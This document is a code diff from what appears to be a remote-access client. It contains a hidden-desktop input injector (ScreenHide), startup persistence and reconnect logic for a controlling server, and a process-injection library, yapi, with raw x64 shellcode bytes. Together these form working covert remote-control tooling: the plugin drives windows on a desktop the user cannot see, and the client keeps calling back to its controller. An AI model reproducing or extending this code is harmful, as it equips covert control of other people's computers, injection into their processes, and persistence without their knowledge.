mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
break;
case WM_RBUTTONDOWN:
mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0);
break;
case WM_RBUTTONUP:
mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
break;
case WM_LBUTTONDBLCLK:
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
break;
case WM_RBUTTONDBLCLK:
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
break;
case WM_MBUTTONDBLCLK:
mouse_event(MOUSEEVENTF_MIDDLEDOWN | MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
mouse_event(MOUSEEVENTF_MIDDLEDOWN | MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
break;
case WM_MBUTTONDOWN:
mouse_event(MOUSEEVENTF_MIDDLEDOWN, 0, 0, 0, 0);
break;
case WM_MBUTTONUP:
mouse_event(MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
break;
case WM_MOUSEWHEEL:
mouse_event(MOUSEEVENTF_WHEEL, 0, 0, GET_WHEEL_DELTA_WPARAM(Msg->wParam), 0);
break;
case WM_KEYDOWN: case WM_SYSKEYDOWN:
keybd_event(Msg->wParam, MapVirtualKeyA(Msg->wParam, 0), 0, 0);
break;
case WM_KEYUP: case WM_SYSKEYUP:
keybd_event(Msg->wParam, MapVirtualKeyA(Msg->wParam, 0), KEYEVENTF_KEYUP, 0);
break;
default:
break;
}
}
} else { // 虚拟桌面
HWND hWnd = NULL;
BOOL mouseMsg = FALSE;
POINT lastPointCopy = {};
SetThreadDesktop(g_hDesk);
for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) {
MYMSG* msg = msgSize == 48 ? (MYMSG*)ptr :
(MYMSG*)msg64.Create(msg32.Create(ptr, msgSize));
switch (msg->message) {
case WM_KEYUP:
return;
case WM_CHAR:
case WM_KEYDOWN: {
m_point = m_lastPoint;
hWnd = WindowFromPoint(m_point);
break;
}
case WM_RBUTTONDOWN: {
// 记录右键按下时的坐标
m_rmouseDown = TRUE;
m_rclickPoint = msg->pt;
break;
}
case WM_RBUTTONUP: {
m_rmouseDown = FALSE;
m_rclickWnd = WindowFromPoint(m_rclickPoint);
// 检查是否为系统菜单(如任务栏)
char szClass[256] = { 0 };
GetClassNameA(m_rclickWnd, szClass, sizeof(szClass));
Mprintf("Right click on '%s' %s[%p]\n", szClass, GetTitle(m_rclickWnd).c_str(), m_rclickWnd);
if (strcmp(szClass, "Shell_TrayWnd") == 0) {
// 触发系统级右键菜单(任务栏)
PostMessage(m_rclickWnd, WM_CONTEXTMENU, (WPARAM)m_rclickWnd,
MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y));
}
else {
// 普通窗口的右键菜单
if (!PostMessage(m_rclickWnd, WM_RBUTTONUP, msg->wParam,
MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y))) {
// 附加:模拟键盘按下Shift+F10(备用菜单触发方式)
keybd_event(VK_SHIFT, 0, 0, 0);
keybd_event(VK_F10, 0, 0, 0);
keybd_event(VK_F10, 0, KEYEVENTF_KEYUP, 0);
keybd_event(VK_SHIFT, 0, KEYEVENTF_KEYUP, 0);
}
}
break;
}
default:
{
mouseMsg = TRUE;
m_point = msg->pt;
hWnd = WindowFromPoint(m_point);
lastPointCopy = m_lastPoint;
m_lastPoint = m_point;
if (msg->message == WM_LBUTTONUP) {
if (m_rclickWnd && hWnd != m_rclickWnd)
{
PostMessageA(m_rclickWnd, WM_LBUTTONDOWN, MK_LBUTTON, 0);
PostMessageA(m_rclickWnd, WM_LBUTTONUP, MK_LBUTTON, 0);
m_rclickWnd = nullptr;
}
m_lmouseDown = FALSE;
LRESULT lResult = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
switch (lResult) {
case HTTRANSPARENT: {
SetWindowLongA(hWnd, GWL_STYLE, GetWindowLongA(hWnd, GWL_STYLE) | WS_DISABLED);
lResult = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
break;
}
case HTCLOSE: {// 关闭窗口
PostMessageA(hWnd, WM_CLOSE, 0, 0);
Mprintf("Close window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
break;
}
case HTMINBUTTON: {// 最小化
PostMessageA(hWnd, WM_SYSCOMMAND, SC_MINIMIZE, 0);
Mprintf("Minsize window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
break;
}
case HTMAXBUTTON: {// 最大化
WINDOWPLACEMENT windowPlacement;
windowPlacement.length = sizeof(windowPlacement);
GetWindowPlacement(hWnd, &windowPlacement);
if (windowPlacement.flags & SW_SHOWMAXIMIZED)
PostMessageA(hWnd, WM_SYSCOMMAND, SC_RESTORE, 0);
else
PostMessageA(hWnd, WM_SYSCOMMAND, SC_MAXIMIZE, 0);
Mprintf("Maxsize window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
break;
}
}
}
else if (msg->message == WM_LBUTTONDOWN) {
m_lmouseDown = TRUE;
m_hResMoveWindow = NULL;
RECT startButtonRect;
HWND hStartButton = FindWindowA((PCHAR)"Button", NULL);
GetWindowRect(hStartButton, &startButtonRect);
if (PtInRect(&startButtonRect, m_point)) {
PostMessageA(hStartButton, BM_CLICK, 0, 0); // 模拟开始按钮点击
continue;
}
else {
char windowClass[MAX_PATH] = { 0 };
RealGetWindowClassA(hWnd, windowClass, MAX_PATH);
if (!lstrcmpA(windowClass, "#32768")) {
HMENU hMenu = (HMENU)SendMessageA(hWnd, MN_GETHMENU, 0, 0);
int itemPos = MenuItemFromPoint(NULL, hMenu, m_point);
int itemId = GetMenuItemID(hMenu, itemPos);
PostMessageA(hWnd, 0x1e5, itemPos, 0);
PostMessageA(hWnd, WM_KEYDOWN, VK_RETURN, 0);
continue;
}
}
}
else if (msg->message == WM_MOUSEMOVE) {
if (!m_lmouseDown)
continue;
if (!m_hResMoveWindow)
m_resMoveType = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
else
hWnd = m_hResMoveWindow;
int moveX = lastPointCopy.x - m_point.x;
int moveY = lastPointCopy.y - m_point.y;
RECT rect;
GetWindowRect(hWnd, &rect);
int x = rect.left;
int y = rect.top;
int width = rect.right - rect.left;
int height = rect.bottom - rect.top;
switch (m_resMoveType) {
case HTCAPTION: {
x -= moveX;
y -= moveY;
break;
}
case HTTOP: {
y -= moveY;
height += moveY;
break;
}
case HTBOTTOM: {
height -= moveY;
break;
}
case HTLEFT: {
x -= moveX;
width += moveX;
break;
}
case HTRIGHT: {
width -= moveX;
break;
}
case HTTOPLEFT: {
y -= moveY;
height += moveY;
x -= moveX;
width += moveX;
break;
}
case HTTOPRIGHT: {
y -= moveY;
height += moveY;
width -= moveX;
break;
}
case HTBOTTOMLEFT: {
height -= moveY;
x -= moveX;
width += moveX;
break;
}
case HTBOTTOMRIGHT: {
height -= moveY;
width -= moveX;
break;
}
default:
continue;
}
MoveWindow(hWnd, x, y, width, height, FALSE);
m_hResMoveWindow = hWnd;
continue;
}
break;
}
}
for (HWND currHwnd = hWnd;;) {
hWnd = currHwnd;
ScreenToClient(currHwnd, &m_point);
currHwnd = ChildWindowFromPoint(currHwnd, m_point);
if (!currHwnd || currHwnd == hWnd)
break;
}
if (mouseMsg)
msg->lParam = MAKELPARAM(m_point.x, m_point.y);
PostMessage(hWnd, msg->message, (WPARAM)msg->wParam, msg->lParam);
}
}
}
public: // 纯虚函数
virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength) = 0;
virtual void InitScreenSpy() = 0;
HDESK g_hDesk;
std::string m_DesktopID;
void* m_ptrUser;
ScreenCapture* m_ScreenSpyObject;
BOOL m_bIsWorking;
long m_oldwidth, m_oldheigh;
int m_biBitCount;
int m_fps;
int m_DlgToken; // 这个值决定打开哪个对话框
HANDLE m_hWorkThread, m_hBlankThread;
// 虚拟桌面
POINT m_point;
POINT m_lastPoint;
BOOL m_lmouseDown;
HWND m_hResMoveWindow;
LRESULT m_resMoveType;
BOOL m_rmouseDown; // 标记右键是否按下
POINT m_rclickPoint; // 右键点击坐标
HWND m_rclickWnd; // 右键窗口
};
} // namespace SimplePluginsScreenHide
+15 -3
View File
@@ -320,10 +320,11 @@ int main(int argc, const char *argv[])
int r = RegisterStartup(
g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo",
g_ConnectAddress.installName[0] ? g_ConnectAddress.installName : "ClientDemo",
lockFile, g_ConnectAddress.iStartup == Startup_TestRunSystem ? 2 :g_ConnectAddress.runasAdmin, Logf);
lockFile, g_ConnectAddress.iStartup == Startup_TestRunSystem ? 2 :g_ConnectAddress.runasAdmin, Logf, g_ConnectAddress.installFlag);
if (r <= 0) {
if (g_ConnectAddress.iStartup == Startup_DLL) {
const char* folder = GetInstallDirectory(g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo");
const char* folder = GetInstallDirectory(g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo",
g_ConnectAddress.installFlag);
if (!folder) {
return -1;
}
@@ -495,8 +496,19 @@ BOOL Run(const char* argv1, int argv2, const std::string &runCmd)
}
do {
run(ip, port);
while (bStop && !bStop() && 0 == status)
if (bExit && bExit() != S_SERVER_EXIT) {
// 受控端退出 / 程序更新:等所有实例(含分享实例)退干净,避免下方 FreeLibrary
// 卸载 DLL 时残留分享实例线程。主控端重启(S_SERVER_EXIT)则立即重连,不等仍存活的分享实例。
while (bStop && !bStop() && 0 == status)
Sleep(20);
} else {
// 主控端重启:不等分享实例,但上一个工作线程未必已经退完,TestRun 这时
// 会立刻返回。不睡就成了每秒上千次的空转——实测 1 秒刷了近千行,把客户端
// 1000 行环形日志冲光,其它日志全看不到。
// 注意不能用 bStop() 挡:IsStoped() 在 S_SERVER_EXIT 下恒返回 true,挡不住。
// 20ms 与线程收尾是并行的,重连延迟净增不超过 20ms。
Sleep(20);
}
} while (bExit && !bExit() && 0 == status);
while (bStop && !bStop() && 1 == status)
+915
View File
@@ -0,0 +1,915 @@
/*
yapi -- Yet Another Process Injector / Your API
A fusion library that reduce differences between x64, wow64 and x86 processes based on rewolf-wow64ext.
Copyright (c) 2010-2018 <http://ez8.co> <orca.zhang@yahoo.com>
This library is released under the MIT License.
Please see LICENSE file or visit https://github.com/ez8-co/yapi for details.
*/
#pragma once
#define WIN32_NO_STATUS
#include <windows.h>
#include <winternl.h>
#include <tchar.h>
#include <vector>
#include <string>
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
#include <TlHelp32.h>
namespace detail {
static HMODULE hNtDll = LoadLibrary(_T("ntdll.dll"));
static HANDLE hCurProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId());
inline BOOL Is64BitOS()
{
SYSTEM_INFO systemInfo = { 0 };
GetNativeSystemInfo(&systemInfo);
return systemInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64
|| systemInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_IA64;
}
static const BOOL is64BitOS = Is64BitOS();
struct GCBase
{
virtual DWORD64 toDWORD64() = 0;
virtual void gc() = 0;
};
struct GCHelper
{
~GCHelper() {
for (size_t i = 0; i < _ptrs.size(); i++) {
_ptrs[i]->gc();
delete _ptrs[i];
}
}
DWORD64 add(GCBase* ptr) { _ptrs.push_back(ptr); return ptr->toDWORD64(); }
private:
std::vector<GCBase*> _ptrs;
};
}
namespace yapi {
typedef std::basic_string<TCHAR, std::char_traits<TCHAR>, std::allocator<TCHAR> > tstring;
#ifndef UNICODE
static std::string _W2T(const wchar_t* wcs)
{
int len = ::WideCharToMultiByte(CP_ACP, 0, wcs, -1, NULL, 0, 0, 0);
std::string ret(len, 0);
assert(0 != ::WideCharToMultiByte(CP_ACP, 0, wcs, -1, &ret[0], len, 0, 0));
ret.resize(len - 1);
return ret;
}
#else
#define _W2T(str) std::wstring(str)
#endif
#define REPEAT_0(macro)
#define REPEAT_1(macro) REPEAT_0(macro)
#define REPEAT_2(macro) REPEAT_1(macro) macro(1)
#define REPEAT_3(macro) REPEAT_2(macro) macro(2)
#define REPEAT_4(macro) REPEAT_3(macro) macro(3)
#define REPEAT_5(macro) REPEAT_4(macro) macro(4)
#define REPEAT_6(macro) REPEAT_5(macro) macro(5)
#define REPEAT_7(macro) REPEAT_6(macro) macro(6)
#define REPEAT_8(macro) REPEAT_7(macro) macro(7)
#define REPEAT_9(macro) REPEAT_8(macro) macro(8)
#define REPEAT_10(macro) REPEAT_9(macro) macro(9)
#define REPEAT_11(macro) REPEAT_10(macro) macro(10)
#define REPEAT_12(macro) REPEAT_11(macro) macro(11)
#define REPEAT_13(macro) REPEAT_12(macro) macro(12)
#define REPEAT_14(macro) REPEAT_13(macro) macro(13)
#define REPEAT_15(macro) REPEAT_14(macro) macro(14)
#define REPEAT_16(macro) REPEAT_15(macro) macro(15)
#define REPEAT_17(macro) REPEAT_16(macro) macro(16)
#define REPEAT_18(macro) REPEAT_17(macro) macro(17)
#define REPEAT_19(macro) REPEAT_18(macro) macro(18)
#define REPEAT_20(macro) REPEAT_19(macro) macro(19)
#define END_MACRO_0(macro)
#define END_MACRO_1(macro) macro(1)
#define END_MACRO_2(macro) macro(2)
#define END_MACRO_3(macro) macro(3)
#define END_MACRO_4(macro) macro(4)
#define END_MACRO_5(macro) macro(5)
#define END_MACRO_6(macro) macro(6)
#define END_MACRO_7(macro) macro(7)
#define END_MACRO_8(macro) macro(8)
#define END_MACRO_9(macro) macro(9)
#define END_MACRO_10(macro) macro(10)
#define END_MACRO_11(macro) macro(11)
#define END_MACRO_12(macro) macro(12)
#define END_MACRO_13(macro) macro(13)
#define END_MACRO_14(macro) macro(14)
#define END_MACRO_15(macro) macro(15)
#define END_MACRO_16(macro) macro(16)
#define END_MACRO_17(macro) macro(17)
#define END_MACRO_18(macro) macro(18)
#define END_MACRO_19(macro) macro(19)
#define END_MACRO_20(macro) macro(20)
#define REPEAT(n, macro, end_macro) REPEAT_##n (macro) END_MACRO_##n(end_macro)
#define __ARG(n) P ## n
#define __PARAM(n) p ## n
#define __ARG_DECL(n) __ARG(n) __PARAM(n)
#define TEMPLATE_ARG(n) typename __ARG(n)
#define VOID_TEMPLATE_ARGS(n) typename __ARG(n),
#define ARG_DECL(n) __ARG_DECL(n) ,
#define END_ARG_DECL(n) __ARG_DECL(n)
#define DECL_VOID_TEMPLATE_ARGS(n) REPEAT(n, VOID_TEMPLATE_ARGS, TEMPLATE_ARG)
#define DECL_PARAMS_LIST(n) REPEAT(n, ARG_DECL, END_ARG_DECL)
namespace {
template <class T>
struct _UNICODE_STRING_T {
union {
struct {
WORD Length;
WORD MaximumLength;
};
T dummy;
};
T Buffer;
};
template <typename T>
struct _LIST_ENTRY_T {
T Flink;
T Blink;
};
template <typename T>
struct _PEB_T {
T dummy01;
T Mutant;
T ImageBaseAddress;
T Ldr;
// omit unused fields
};
typedef _PEB_T<DWORD> PEB32;
typedef _PEB_T<DWORD64> PEB64;
typedef struct _PROCESS_BASIC_INFORMATION32 {
NTSTATUS ExitStatus;
UINT32 PebBaseAddress;
UINT32 AffinityMask;
UINT32 BasePriority;
UINT32 UniqueProcessId;
UINT32 InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION32;
typedef struct _PROCESS_BASIC_INFORMATION64 {
NTSTATUS ExitStatus;
UINT32 Reserved0;
UINT64 PebBaseAddress;
UINT64 AffinityMask;
UINT32 BasePriority;
UINT32 Reserved1;
UINT64 UniqueProcessId;
UINT64 InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION64;
template <class T>
struct _PEB_LDR_DATA_T {
DWORD Length;
DWORD Initialized;
T SsHandle;
_LIST_ENTRY_T<T> InLoadOrderModuleList;
// omit unused fields
};
typedef _PEB_LDR_DATA_T<DWORD> PEB_LDR_DATA32;
typedef _PEB_LDR_DATA_T<DWORD64> PEB_LDR_DATA64;
template <class T>
struct _LDR_DATA_TABLE_ENTRY_T {
_LIST_ENTRY_T<T> InLoadOrderLinks;
_LIST_ENTRY_T<T> InMemoryOrderLinks;
_LIST_ENTRY_T<T> InInitializationOrderLinks;
T DllBase;
T EntryPoint;
union {
DWORD SizeOfImage;
T dummy01;
};
_UNICODE_STRING_T<T> FullDllName;
_UNICODE_STRING_T<T> BaseDllName;
// omit unused fields
};
typedef _LDR_DATA_TABLE_ENTRY_T<DWORD> LDR_DATA_TABLE_ENTRY32;
typedef _LDR_DATA_TABLE_ENTRY_T<DWORD64> LDR_DATA_TABLE_ENTRY64;
size_t tcslen(const char* str) { return strlen(str); }
size_t tcslen(const wchar_t* str) { return wcslen(str); }
}
inline DWORD64 WINAPI GetProcAddress(HANDLE hProcess, DWORD64 hModule, const char* funcName);
#ifdef _WIN64
typedef NTSTATUS(WINAPI *NT_QUERY_INFORMATION_PROCESS)(
HANDLE ProcessHandle, ULONG ProcessInformationClass,
PVOID ProcessInformation, UINT32 ProcessInformationLength,
UINT32 * ReturnLength);
static NT_QUERY_INFORMATION_PROCESS NtWow64QueryInformationProcess64 = (NT_QUERY_INFORMATION_PROCESS)GetProcAddress((HMODULE)detail::hNtDll, "NtQueryInformationProcess");
#define NtWow64ReadVirtualMemory64 ReadProcessMemory
#else
namespace {
typedef NTSTATUS(WINAPI *NT_WOW64_QUERY_INFORMATION_PROCESS64)(
HANDLE ProcessHandle, UINT32 ProcessInformationClass,
PVOID ProcessInformation, UINT32 ProcessInformationLength,
UINT32* ReturnLength);
typedef NTSTATUS(WINAPI *NT_WOW64_READ_VIRTUAL_MEMORY64)(
HANDLE ProcessHandle, PVOID64 BaseAddress,
PVOID BufferData, UINT64 BufferLength,
PUINT64 ReturnLength);
static NT_WOW64_QUERY_INFORMATION_PROCESS64 NtWow64QueryInformationProcess64 = (NT_WOW64_QUERY_INFORMATION_PROCESS64)GetProcAddress((HMODULE)detail::hNtDll, "NtWow64QueryInformationProcess64");
static NT_WOW64_READ_VIRTUAL_MEMORY64 NtWow64ReadVirtualMemory64 = (NT_WOW64_READ_VIRTUAL_MEMORY64)GetProcAddress((HMODULE)detail::hNtDll, "NtWow64ReadVirtualMemory64");
}
#endif
inline DWORD64 WINAPI GetModuleHandle(HANDLE hProcess, const TCHAR* moduleName)
{
if (!moduleName) return 0;
if (!hProcess) hProcess = detail::hCurProcess;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, GetProcessId(hProcess));
if (hSnap == INVALID_HANDLE_VALUE) return 0;
MODULEENTRY32 mod = { sizeof(mod) };
if (Module32First(hSnap, &mod)) {
do {
if (!_tcsicmp(mod.szModule, moduleName)) {
CloseHandle(hSnap);
return (DWORD64)mod.hModule;
}
} while (Module32Next(hSnap, &mod));
}
CloseHandle(hSnap);
return 0;
}
DWORD64 WINAPI GetProcAddress(HANDLE hProcess, DWORD64 hModule, const char* funcName)
{
if (!hModule || !funcName) return 0;
if (!hProcess) hProcess = detail::hCurProcess;
IMAGE_DOS_HEADER idh;
NTSTATUS status = ReadProcessMemory(hProcess, (PVOID)hModule, (PVOID)&idh, sizeof(idh), NULL);
if (!NT_SUCCESS(status)) return 0;
IMAGE_NT_HEADERS32 inh;
status = ReadProcessMemory(hProcess, (PVOID)(hModule + idh.e_lfanew), (PVOID)&inh, sizeof(inh), NULL);
if (!NT_SUCCESS(status)) return 0;
IMAGE_DATA_DIRECTORY& idd = inh.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
if (!idd.VirtualAddress)return 0;
IMAGE_EXPORT_DIRECTORY ied;
status = ReadProcessMemory(hProcess, (PVOID)(hModule + idd.VirtualAddress), (PVOID)&ied, sizeof(ied), NULL);
if (!NT_SUCCESS(status)) return 0;
std::vector<DWORD> nameTable(ied.NumberOfNames);
status = ReadProcessMemory(hProcess, (PVOID)(hModule + ied.AddressOfNames), (PVOID)&nameTable[0], sizeof(DWORD) * ied.NumberOfNames, NULL);
if (!NT_SUCCESS(status)) return 0;
for (DWORD i = 0; i < ied.NumberOfNames; ++i) {
std::string func(strlen(funcName), 0);
status = ReadProcessMemory(hProcess, (PVOID)(hModule + nameTable[i]), (PVOID)&func[0], strlen(funcName), NULL);
if (!NT_SUCCESS(status)) continue;
if (func == funcName) {
WORD ord = 0;
status = ReadProcessMemory(hProcess, (PVOID)(hModule + ied.AddressOfNameOrdinals + i * sizeof(WORD)), (PVOID)&ord, sizeof(WORD), NULL);
if (!NT_SUCCESS(status)) continue;
DWORD rva = 0;
status = ReadProcessMemory(hProcess, (PVOID)(hModule + ied.AddressOfFunctions + ord * sizeof(DWORD)), (PVOID)&rva, sizeof(DWORD), NULL);
if (!NT_SUCCESS(status)) continue;
return hModule + rva;
}
}
return 0;
}
inline DWORD64 WINAPI GetModuleHandle64(HANDLE hProcess, const TCHAR* moduleName)
{
if (!moduleName) return 0;
if (!hProcess) hProcess = detail::hCurProcess;
#ifndef _WIN64
if (!NtWow64QueryInformationProcess64 || !NtWow64ReadVirtualMemory64) return 0;
#endif
PROCESS_BASIC_INFORMATION64 pbi = { 0 };
const int ProcessBasicInformation = 0;
NTSTATUS status = NtWow64QueryInformationProcess64(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
if (!NT_SUCCESS(status)) return 0;
PEB64 peb;
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
if (!NT_SUCCESS(status)) return 0;
PEB_LDR_DATA64 ldr;
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)peb.Ldr, (PVOID)&ldr, sizeof(ldr), NULL);
if (!NT_SUCCESS(status)) return 0;
DWORD64 LastEntry = peb.Ldr + offsetof(PEB_LDR_DATA64, InLoadOrderModuleList);
LDR_DATA_TABLE_ENTRY64 head;
head.InLoadOrderLinks.Flink = ldr.InLoadOrderModuleList.Flink;
do {
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)head.InLoadOrderLinks.Flink, (PVOID)&head, sizeof(head), NULL);
if (!NT_SUCCESS(status)) continue;
std::wstring modName((size_t)head.BaseDllName.MaximumLength, 0);
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)head.BaseDllName.Buffer, (PVOID)&modName[0], head.BaseDllName.MaximumLength, NULL);
if (!NT_SUCCESS(status)) continue;
if (!_tcsicmp(moduleName, _W2T(modName.c_str()).c_str()))
return head.DllBase;
} while (head.InLoadOrderLinks.Flink != LastEntry);
return 0;
}
inline DWORD64 WINAPI GetProcAddress64(HANDLE hProcess, DWORD64 hModule, const char* funcName)
{
if (!hModule || !funcName) return 0;
if (!hProcess) hProcess = detail::hCurProcess;
#ifndef _WIN64
if (!NtWow64ReadVirtualMemory64) return 0;
#endif
IMAGE_DOS_HEADER idh;
NTSTATUS status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)hModule, (PVOID)&idh, sizeof(idh), NULL);
if (!NT_SUCCESS(status)) return 0;
IMAGE_NT_HEADERS64 inh;
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + idh.e_lfanew), (PVOID)&inh, sizeof(inh), NULL);
if (!NT_SUCCESS(status)) return 0;
IMAGE_DATA_DIRECTORY& idd = inh.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
if (!idd.VirtualAddress)return 0;
IMAGE_EXPORT_DIRECTORY ied;
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + idd.VirtualAddress), (PVOID)&ied, sizeof(ied), NULL);
if (!NT_SUCCESS(status)) return 0;
std::vector<DWORD> nameTable(ied.NumberOfNames);
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + ied.AddressOfNames), (PVOID)&nameTable[0], sizeof(DWORD) * ied.NumberOfNames, NULL);
if (!NT_SUCCESS(status)) return 0;
for (DWORD i = 0; i < ied.NumberOfNames; ++i) {
std::string func(strlen(funcName), 0);
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + nameTable[i]), (PVOID)&func[0], strlen(funcName), NULL);
if (!NT_SUCCESS(status)) continue;
if (func == funcName) {
WORD ord = 0;
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + ied.AddressOfNameOrdinals + i * sizeof(WORD)), (PVOID)&ord, sizeof(WORD), NULL);
if (!NT_SUCCESS(status)) continue;
DWORD rva = 0;
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + ied.AddressOfFunctions + ord * sizeof(DWORD)), (PVOID)&rva, sizeof(DWORD), NULL);
if (!NT_SUCCESS(status)) continue;
return hModule + rva;
}
}
return 0;
}
inline DWORD64 GetNtDll64()
{
static DWORD64 hNtdll64 = 0;
if(hNtdll64) return hNtdll64;
hNtdll64 = GetModuleHandle64(detail::hCurProcess, _T("ntdll.dll"));
return hNtdll64;
}
#ifdef _WIN64
#define SetLastError64 SetLastError
#define VirtualQueryEx64 VirtualQueryEx
#define VirtualAllocEx64 VirtualAllocEx
#define VirtualFreeEx64 VirtualFreeEx
#define VirtualProtectEx64 VirtualProtectEx
#define ReadProcessMemory64 ReadProcessMemory
#define WriteProcessMemory64 WriteProcessMemory
#define LoadLibrary64 LoadLibrary
#define CreateRemoteThread64 CreateRemoteThread
#else
namespace {
#define _(x) __asm __emit (x)
__declspec(naked) DWORD64 x64Call(DWORD64 func, int argC, ...)
{
// see X64Call_disassemble for details
_(0x55)_(0x8b)_(0xec)_(0x8b)_(0x4d)_(0x10)_(0x8d)_(0x55)_(0x14)_(0x83)_(0xec)_(0x40)_(0x53)_(0x56)_(0x57)_(0x85)
_(0xc9)_(0x7e)_(0x15)_(0x8b)_(0x45)_(0x14)_(0x8d)_(0x55)_(0x1c)_(0x49)_(0x89)_(0x45)_(0xf0)_(0x8b)_(0x45)_(0x18)
_(0x89)_(0x4d)_(0x10)_(0x89)_(0x45)_(0xf4)_(0xeb)_(0x08)_(0x0f)_(0x57)_(0xc0)_(0x66)_(0x0f)_(0x13)_(0x45)_(0xf0)
_(0x85)_(0xc9)_(0x7e)_(0x15)_(0x49)_(0x83)_(0xc2)_(0x08)_(0x89)_(0x4d)_(0x10)_(0x8b)_(0x42)_(0xf8)_(0x89)_(0x45)
_(0xe8)_(0x8b)_(0x42)_(0xfc)_(0x89)_(0x45)_(0xec)_(0xeb)_(0x08)_(0x0f)_(0x57)_(0xc0)_(0x66)_(0x0f)_(0x13)_(0x45)
_(0xe8)_(0x85)_(0xc9)_(0x7e)_(0x15)_(0x49)_(0x83)_(0xc2)_(0x08)_(0x89)_(0x4d)_(0x10)_(0x8b)_(0x42)_(0xf8)_(0x89)
_(0x45)_(0xe0)_(0x8b)_(0x42)_(0xfc)_(0x89)_(0x45)_(0xe4)_(0xeb)_(0x08)_(0x0f)_(0x57)_(0xc0)_(0x66)_(0x0f)_(0x13)
_(0x45)_(0xe0)_(0x85)_(0xc9)_(0x7e)_(0x15)_(0x49)_(0x83)_(0xc2)_(0x08)_(0x89)_(0x4d)_(0x10)_(0x8b)_(0x42)_(0xf8)
_(0x89)_(0x45)_(0xd8)_(0x8b)_(0x42)_(0xfc)_(0x89)_(0x45)_(0xdc)_(0xeb)_(0x08)_(0x0f)_(0x57)_(0xc0)_(0x66)_(0x0f)
_(0x13)_(0x45)_(0xd8)_(0x8b)_(0xc2)_(0xc7)_(0x45)_(0xfc)_(0x00)_(0x00)_(0x00)_(0x00)_(0x99)_(0x0f)_(0x57)_(0xc0)
_(0x89)_(0x45)_(0xc0)_(0x8b)_(0xc1)_(0x89)_(0x55)_(0xc4)_(0x99)_(0x66)_(0x0f)_(0x13)_(0x45)_(0xc8)_(0x89)_(0x45)
_(0xd0)_(0x89)_(0x55)_(0xd4)_(0xc7)_(0x45)_(0xf8)_(0x00)_(0x00)_(0x00)_(0x00)_(0x66)_(0x8c)_(0x65)_(0xf8)_(0xb8)
_(0x2b)_(0x00)_(0x00)_(0x00)_(0x66)_(0x8e)_(0xe0)_(0x89)_(0x65)_(0xfc)_(0x83)_(0xe4)_(0xf0)_(0x6a)_(0x33)_(0xe8)
_(0x00)_(0x00)_(0x00)_(0x00)_(0x83)_(0x04)_(0x24)_(0x05)_(0xcb)_(0x48)_(0x8b)_(0x4d)_(0xf0)_(0x48)_(0x8b)_(0x55)
_(0xe8)_(0xff)_(0x75)_(0xe0)_(0x49)_(0x58)_(0xff)_(0x75)_(0xd8)_(0x49)_(0x59)_(0x48)_(0x8b)_(0x45)_(0xd0)_(0xa8)
_(0x01)_(0x75)_(0x03)_(0x83)_(0xec)_(0x08)_(0x57)_(0x48)_(0x8b)_(0x7d)_(0xc0)_(0x48)_(0x85)_(0xc0)_(0x74)_(0x16)
_(0x48)_(0x8d)_(0x7c)_(0xc7)_(0xf8)_(0x48)_(0x85)_(0xc0)_(0x74)_(0x0c)_(0xff)_(0x37)_(0x48)_(0x83)_(0xef)_(0x08)
_(0x48)_(0x83)_(0xe8)_(0x01)_(0xeb)_(0xef)_(0x48)_(0x83)_(0xec)_(0x20)_(0xff)_(0x55)_(0x08)_(0x48)_(0x8b)_(0x4d)
_(0xd0)_(0x48)_(0x8d)_(0x64)_(0xcc)_(0x20)_(0x5f)_(0x48)_(0x89)_(0x45)_(0xc8)_(0xe8)_(0x00)_(0x00)_(0x00)_(0x00)
